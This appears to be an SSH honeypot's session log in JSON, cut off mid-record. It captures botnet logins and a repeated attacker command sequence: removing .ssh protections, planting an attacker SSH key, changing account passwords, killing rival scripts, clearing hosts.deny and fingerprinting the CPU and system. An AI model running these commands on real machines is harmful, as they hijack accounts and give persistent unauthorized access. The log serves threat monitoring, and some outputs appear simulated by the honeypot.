{"id":"bda5fd82-149a-466a-b1a2-d839e9b74824","name":"emerald-tawny-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":56260,"username":"esadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:33.624503+00:00","ended_at":"2026-08-27T12:31:34.849961+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2266,"events":[{"seq":1,"at":"2026-08-27T12:31:16.527581+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:16.787087+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:20.624688+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:21.044703+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:21.307533+00:00","kind":"input","latency_ms":null,"data":"echo -e \"esadmin@2024\\nklffYpUQcTN3\\nklffYpUQcTN3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:21.567104+00:00","kind":"input","latency_ms":null,"data":"echo \"esadmin@2024\\nklffYpUQcTN3\\nklffYpUQcTN3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:21.828707+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:22.182302+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:22.445955+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:23.809033+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:24.072861+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:25.178194+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:25.438902+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:25.839068+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:26.101946+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:27.243191+00:00","kind":"output","latency_ms":null,"data":" 12:31:27 up 7 days, 9:21, 0 user, load average: 0.06, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:27.508308+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:27.967953+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:28.229462+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:28.663262+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:28.924290+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:29.282794+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:29 up 7 days, 9:21, 0 user, load average: 0.06, 0.06, 0.06\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:29.545607+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:30.225272+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:30.487948+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:30.974517+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:31.237816+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:31.523185+00:00","kind":"output","latency_ms":null,"data":"esadmin"},{"seq":29,"at":"2026-08-27T12:31:31.786035+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:33.362135+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:33.625479+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:34.773916+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"esadmin","password":"esadmin@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"0c76bfb4-836e-4008-83a9-7ac679dbfa15","name":"crisp-hazel-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":59090,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:28.446059+00:00","ended_at":"2026-08-27T12:31:29.412215+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:31:10.956182+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:11.254924+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:15.215062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:15.816754+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:16.114087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1AbSY7TSKfA1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:31:16.413053+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:31:16.710113+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:17.115072+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:17.412885+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:18.431897+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:18.733509+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:19.730283+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:20.029788+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:20.672990+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:20.972023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:21.630074+00:00","kind":"output","latency_ms":null,"data":" 12:31:21 up 7 days, 9:21, 0 user, load average: 0.21, 0.24, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:21.928851+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:22.749944+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:23.049709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:23.573520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:23.872892+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:24.380168+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:24 up 7 days, 9:21, 0 user, load average: 0.21, 0.24, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:24.679869+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:25.345651+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:25.645724+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:25.928202+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:26.227549+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:26.673198+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:31:26.971203+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:28.146248+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:28.446850+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:29.324182+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Passw0rd@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"9acbdf19-b630-45c9-a476-298ee81515bc","name":"boreal-hushed-blackbird","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":53312,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:26.718118+00:00","ended_at":"2026-08-27T12:31:51.274342+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"0124f9d0-8a1b-43ec-9dd4-603fcd0150f3","name":"northern-fickle-nightjar","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":54804,"username":"server","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:25.421123+00:00","ended_at":"2026-08-27T12:31:27.101355+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"server","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d08e85c9-5f3c-4f8d-81a6-adecc04e9289","name":"smoky-brazen-francolin","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":54794,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:22.621295+00:00","ended_at":"2026-08-27T12:31:23.963749+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c13d7269-efbb-4d3a-b4f5-bef321686ba6","name":"snowy-seaward-antelope","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":56284,"username":"esadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:19.414910+00:00","ended_at":"2026-08-27T12:31:20.550789+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"esadmin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c6734aa3-50aa-4019-b55a-52fb9955b1db","name":"faded-distant-skua","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51370,"username":"tempuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:18.039550+00:00","ended_at":"2026-08-27T12:31:19.732461+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"tempuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a0374ad6-7ad6-4a8e-8da9-48293e573f2a","name":"sandy-lunar-redshank","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":56274,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:17.381128+00:00","ended_at":"2026-08-27T12:31:18.886204+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a6e06384-26b7-4430-bd1a-3a334790bfaf","name":"forlorn-quaint-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":51358,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:16.355062+00:00","ended_at":"2026-08-27T12:31:17.384912+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"10a37ecf-3316-4422-9f82-db18baebbdb6","name":"subtle-boreal-mongoose","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59106,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:13.315126+00:00","ended_at":"2026-08-27T12:31:15.126731+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ba46486c-8083-47c3-8136-655113c90e54","name":"gloomy-glassy-adder","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59104,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:11.920788+00:00","ended_at":"2026-08-27T12:31:12.729343+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1609ea5b-d2dc-4f1e-96b4-c9b871295286","name":"ruddy-humble-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":38402,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:42.393155+00:00","ended_at":"2026-08-27T12:29:44.480765+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:29:12.346840+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:12.675284+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:16.958606+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:18.144933+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:18.473169+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test12345\\npXuCh5asZlbx\\npXuCh5asZlbx\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:29:18.804090+00:00","kind":"input","latency_ms":null,"data":"echo \"test12345\\npXuCh5asZlbx\\npXuCh5asZlbx\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:29:19.128661+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:20.429567+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:20.671095+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:29:20.722999+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:20.765300+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:29:22.278487+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:22.613322+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:29:23.909703+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:29:24.242725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:29:26.332770+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:29:26.663861+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:29:28.375250+00:00","kind":"output","latency_ms":null,"data":" 12:29:28 up 7 days, 9:19, 0 user, load average: 0.13, 0.16, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:29:28.703000+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:29:30.787321+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:29:31.114660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:29:32.021085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:29:32.348937+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:29:33.824131+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:33 up 7 days, 9:19, 0 user, load average: 0.13, 0.16, 0.15\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:29:34.150368+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:29:36.211114+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:29:36.540493+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:29:38.081176+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:29:38.406880+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:29:40.393000+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":31,"at":"2026-08-27T12:29:40.719007+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:29:42.067939+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:29:42.393989+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:29:44.383829+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"test12345","method":"password","accepted":true,"tier":"other"}]} {"id":"e5ebfb99-0401-4147-b4b9-c5fff6839c7d","name":"verdant-breezy-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":53220,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:36.925712+00:00","ended_at":"2026-08-27T12:29:37.877115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:29:18.800061+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:19.064732+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:22.400240+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:23.186181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:23.448300+00:00","kind":"input","latency_ms":null,"data":"echo \"root:VhLEsFNEG4bc\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:29:23.717063+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:29:23.980930+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:24.706582+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:24.971366+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:25.979106+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:26.248254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:27.531371+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:27.803351+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:28.536218+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 